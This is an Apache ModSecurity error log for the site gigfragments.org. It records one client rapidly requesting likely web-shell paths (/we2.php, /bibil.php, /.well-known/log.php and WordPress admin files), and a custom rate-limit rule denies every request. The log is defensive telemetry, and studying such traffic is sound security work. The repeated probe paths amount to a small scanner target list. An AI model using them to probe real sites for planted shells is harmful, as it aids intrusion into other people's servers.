[Thu Dec 25 22:40:44.056749 2025] [:error] [pid 27869:tid 27884] [client 4.217.192.251:5615] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1M7BNK7_n86kBD7qfocgAAAI0"]
[Thu Dec 25 22:40:44.347165 2025] [:error] [pid 22043:tid 22055] [client 4.217.192.251:64272] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1M7D4YVtlb2Iz_QE5aTgAAAAc"]
[Thu Dec 25 22:40:44.635064 2025] [:error] [pid 22045:tid 22106] [client 4.217.192.251:55467] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1M7KsGGmXjDnvlmHt3SgAAAUQ"]
[Thu Dec 25 22:40:44.914268 2025] [:error] [pid 27869:tid 27885] [client 4.217.192.251:65300] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aU1M7BNK7_n86kBD7qfodQAAAI4"]
[Thu Dec 25 22:40:45.198423 2025] [:error] [pid 22044:tid 22094] [client 4.217.192.251:5556] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aU1M7XPTC5rQKTB0FQ-q1wAAANM"]
[Thu Dec 25 22:40:45.475633 2025] [:error] [pid 22044:tid 22091] [client 4.217.192.251:55477] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aU1M7XPTC5rQKTB0FQ-q2AAAANA"]
[Thu Dec 25 22:40:45.748714 2025] [:error] [pid 22131:tid 22156] [client 4.217.192.251:64314] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aU1M7ZvVMtSTB4lX2fY_LAAAAFQ"]
[Thu Dec 25 22:40:46.023380 2025] [:error] [pid 22131:tid 22137] [client 4.217.192.251:65283] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aU1M7pvVMtSTB4lX2fY_LwAAAEQ"]
[Thu Dec 25 22:40:46.293507 2025] [:error] [pid 22044:tid 22090] [client 4.217.192.251:5619] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aU1M7nPTC5rQKTB0FQ-q2wAAAM8"]
[Thu Dec 25 22:40:46.563407 2025] [:error] [pid 22131:tid 22152] [client 4.217.192.251:52103] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aU1M7pvVMtSTB4lX2fY_MAAAAFE"]
[Thu Dec 25 22:40:46.890997 2025] [:error] [pid 27869:tid 27877] [client 4.217.192.251:52109] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aU1M7hNK7_n86kBD7qfodgAAAIY"]
[Thu Dec 25 22:40:47.160478 2025] [:error] [pid 22044:tid 22086] [client 4.217.192.251:5592] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aU1M73PTC5rQKTB0FQ-q4AAAAMs"]
[Thu Dec 25 22:40:47.435218 2025] [:error] [pid 22045:tid 22103] [client 4.217.192.251:5552] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1M76sGGmXjDnvlmHt3UAAAAUE"]
[Thu Dec 25 22:40:47.783055 2025] [:error] [pid 22131:tid 22135] [client 4.217.192.251:65311] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1M75vVMtSTB4lX2fY_NQAAAEI"]
[Thu Dec 25 22:40:48.073038 2025] [:error] [pid 22043:tid 22058] [client 4.217.192.251:5313] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1M8D4YVtlb2Iz_QE5aWwAAAAo"]
[Thu Dec 25 22:40:48.374076 2025] [:error] [pid 22045:tid 22107] [client 4.217.192.251:64302] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1M8KsGGmXjDnvlmHt3UQAAAUU"]
[Thu Dec 25 22:40:48.667471 2025] [:error] [pid 22043:tid 22067] [client 4.217.192.251:52156] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aU1M8D4YVtlb2Iz_QE5aXQAAABM"]
[Thu Dec 25 22:40:48.956191 2025] [:error] [pid 22045:tid 22119] [client 4.217.192.251:5314] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aU1M8KsGGmXjDnvlmHt3VgAAAVE"]
[Thu Dec 25 22:40:49.327471 2025] [:error] [pid 22044:tid 22075] [client 4.217.192.251:52102] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aU1M8XPTC5rQKTB0FQ-q6gAAAMA"]
[Thu Dec 25 22:40:49.624908 2025] [:error] [pid 22045:tid 22125] [client 4.217.192.251:5569] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aU1M8asGGmXjDnvlmHt3VwAAAVc"]
[Thu Dec 25 22:40:49.962736 2025] [:error] [pid 22044:tid 22091] [client 4.217.192.251:5336] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aU1M8XPTC5rQKTB0FQ-q7QAAANA"]
[Thu Dec 25 22:40:50.266058 2025] [:error] [pid 22043:tid 22057] [client 4.217.192.251:65315] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aU1M8j4YVtlb2Iz_QE5aXwAAAAk"]
[Thu Dec 25 22:40:50.555566 2025] [:error] [pid 22044:tid 22090] [client 4.217.192.251:57366] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aU1M8nPTC5rQKTB0FQ-q8AAAAM8"]
[Thu Dec 25 22:40:50.837154 2025] [:error] [pid 22044:tid 22087] [client 4.217.192.251:5534] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aU1M8nPTC5rQKTB0FQ-q8wAAAMw"]
[Thu Dec 25 22:40:51.266980 2025] [:error] [pid 22043:tid 22051] [client 4.217.192.251:60847] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aU1M8z4YVtlb2Iz_QE5aYQAAAAM"]
[Thu Dec 25 22:40:51.554339 2025] [:error] [pid 22131:tid 22144] [client 4.217.192.251:5597] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aU1M85vVMtSTB4lX2fY_PwAAAEo"]
[Thu Dec 25 22:40:51.882845 2025] [:error] [pid 22043:tid 22062] [client 4.217.192.251:5520] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aU1M8z4YVtlb2Iz_QE5aYwAAAA4"]
[Thu Dec 25 22:40:52.157415 2025] [:error] [pid 22043:tid 22058] [client 4.217.192.251:52142] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aU1M9D4YVtlb2Iz_QE5aZAAAAAo"]
[Thu Dec 25 22:40:52.461469 2025] [:error] [pid 22043:tid 22056] [client 4.217.192.251:65287] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU1M9D4YVtlb2Iz_QE5aZwAAAAg"]
[Thu Dec 25 22:40:52.739943 2025] [:error] [pid 22045:tid 22113] [client 4.217.192.251:55456] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU1M9KsGGmXjDnvlmHt3XQAAAUs"]
[Thu Dec 25 22:40:53.025944 2025] [:error] [pid 22131:tid 22153] [client 4.217.192.251:57675] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU1M9ZvVMtSTB4lX2fY_QwAAAFI"]
[Thu Dec 25 22:40:53.299305 2025] [:error] [pid 22044:tid 22082] [client 4.217.192.251:5365] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU1M9XPTC5rQKTB0FQ-q9wAAAMc"]
[Thu Dec 25 22:40:53.575991 2025] [:error] [pid 22131:tid 22140] [client 4.217.192.251:52124] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1M9ZvVMtSTB4lX2fY_RAAAAEY"]
[Thu Dec 25 22:40:53.869094 2025] [:error] [pid 22045:tid 22107] [client 4.217.192.251:65281] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1M9asGGmXjDnvlmHt3YQAAAUU"]
[Thu Dec 25 22:40:54.176514 2025] [:error] [pid 27869:tid 27882] [client 4.217.192.251:5352] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1M9hNK7_n86kBD7qfofQAAAIs"]
[Thu Dec 25 22:40:54.449666 2025] [:error] [pid 22044:tid 22099] [client 4.217.192.251:52148] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aU1M9nPTC5rQKTB0FQ-q-AAAANg"]
[Thu Dec 25 22:40:54.729122 2025] [:error] [pid 27869:tid 27890] [client 4.217.192.251:60815] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU1M9hNK7_n86kBD7qfogAAAAJM"]
[Thu Dec 25 22:40:55.008299 2025] [:error] [pid 22043:tid 22057] [client 4.217.192.251:65309] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU1M9z4YVtlb2Iz_QE5abAAAAAk"]
[Thu Dec 25 22:40:55.304047 2025] [:error] [pid 22044:tid 22097] [client 4.217.192.251:52117] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU1M93PTC5rQKTB0FQ-q-gAAANY"]
[Thu Dec 25 22:40:55.596654 2025] [:error] [pid 22045:tid 22123] [client 4.217.192.251:65306] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU1M96sGGmXjDnvlmHt3ZAAAAVU"]
[Thu Dec 25 22:40:55.922845 2025] [:error] [pid 22043:tid 22071] [client 4.217.192.251:65305] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aU1M9z4YVtlb2Iz_QE5abgAAABc"]
[Thu Dec 25 22:40:56.217470 2025] [:error] [pid 27869:tid 27888] [client 4.217.192.251:52134] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aU1M-BNK7_n86kBD7qfoggAAAJE"]
[Thu Dec 25 22:40:56.513825 2025] [:error] [pid 27869:tid 27884] [client 4.217.192.251:5513] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aU1M-BNK7_n86kBD7qfogwAAAI0"]
[Thu Dec 25 22:40:56.834342 2025] [:error] [pid 22045:tid 22126] [client 4.217.192.251:64306] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aU1M-KsGGmXjDnvlmHt3ZgAAAVg"]
[Thu Dec 25 22:40:57.118916 2025] [:error] [pid 22044:tid 22094] [client 4.217.192.251:5559] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aU1M-XPTC5rQKTB0FQ-q_AAAANM"]
[Thu Dec 25 22:40:57.429063 2025] [:error] [pid 22131:tid 22142] [client 4.217.192.251:60826] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aU1M-ZvVMtSTB4lX2fY_TQAAAEg"]
[Thu Dec 25 22:40:57.773656 2025] [:error] [pid 27869:tid 27895] [client 4.217.192.251:57404] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aU1M-RNK7_n86kBD7qfoiAAAAJg"]
[Thu Dec 25 22:40:58.090128 2025] [:error] [pid 22045:tid 22122] [client 4.217.192.251:64263] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aU1M-qsGGmXjDnvlmHt3ZwAAAVQ"]
[Thu Dec 25 22:40:58.363982 2025] [:error] [pid 22044:tid 22096] [client 4.217.192.251:65325] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aU1M-nPTC5rQKTB0FQ-q_wAAANU"]
[Thu Dec 25 22:40:58.652018 2025] [:error] [pid 27869:tid 27890] [client 4.217.192.251:57684] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aU1M-hNK7_n86kBD7qfokgAAAJM"]
[Thu Dec 25 22:40:58.968346 2025] [:error] [pid 27869:tid 27878] [client 4.217.192.251:52150] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aU1M-hNK7_n86kBD7qfomAAAAIc"]
[Thu Dec 25 22:40:59.296833 2025] [:error] [pid 27869:tid 27895] [client 4.217.192.251:65291] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aU1M-xNK7_n86kBD7qfomgAAAJg"]
[Thu Dec 25 22:40:59.633401 2025] [:error] [pid 22044:tid 22097] [client 4.217.192.251:60814] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1M-3PTC5rQKTB0FQ-rAwAAANY"]
[Thu Dec 25 22:41:00.104944 2025] [:error] [pid 22131:tid 22160] [client 4.217.192.251:61638] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1M_JvVMtSTB4lX2fY_UgAAAFg"]
[Thu Dec 25 22:41:00.421539 2025] [:error] [pid 22043:tid 22053] [client 4.217.192.251:5570] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1M_D4YVtlb2Iz_QE5acQAAAAU"]
[Thu Dec 25 22:41:00.790484 2025] [:error] [pid 27869:tid 27883] [client 4.217.192.251:65290] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aU1M_BNK7_n86kBD7qfonwAAAIw"]
